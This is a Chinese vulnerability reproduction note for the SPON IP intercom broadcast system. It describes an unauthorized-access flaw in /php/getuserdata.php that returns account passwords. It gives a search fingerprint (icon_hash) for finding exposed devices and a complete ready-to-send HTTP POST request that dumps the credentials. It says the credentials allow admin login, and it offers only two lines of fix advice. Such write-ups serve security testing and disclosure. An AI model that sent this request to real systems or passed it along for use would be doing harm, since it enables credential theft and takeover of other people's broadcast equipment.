世邦通信SPON IP网络对讲广播系统未授权访问

产品介绍

世邦通信SPON IP网络对讲广播系统采用领先的IPAudio™技术,将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输系统。

漏洞描述

spon IP网络对讲广播系统getuserdata.php存在未授权访问漏洞,攻击者可通过该漏洞在服务器端读取账户密码,从而登录后台。

资产测绘

icon_hash="-1830859634"

漏洞复现

ruby 复制代码
POST /php/getuserdata.php HTTP/1.1
Host: your_ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

jsondata[pageIndex]=0&jsondata[pageCount]=30

可以通过获取的账户密码登录后台

修复建议

1、升级至最新安全版本。

2、限制接口访问。

相关推荐
德福危险1 小时前
密码枚举的艺术:靶机练习之midwest
服务器·安全·web安全
cdprinter3 小时前
信刻——安全生产音视频录音录像自动刻录备份归档管理系统
安全·自动化·音视频
jieyu11194 小时前
uploads-labs靶场通关(2)
web安全·靶场通关
Forfun_tt4 小时前
upload-labs pass-19
web安全·网络安全
缘友一世4 小时前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
一勺菠萝丶5 小时前
「您的连接不是私密连接」详解:为什么 HTTPS 证书会报错,以及如何正确配置子域名证书
数据库·网络协议·https
夕泠爱吃糖5 小时前
HTTPS与HTPP的区别
网络协议·http·https
2501_915909065 小时前
“绑定 HTTPS” 的工程全流程 从证书配置到真机验证与故障排查
网络协议·http·ios·小程序·https·uni-app·iphone
报错小能手5 小时前
linux学习笔记(43)网络编程——HTTPS (补充)
linux·网络·学习
嘉里蓝海6 小时前
橙色风暴中的安全守卫者——嘉顺达蓝海的危险品运输启示录
安全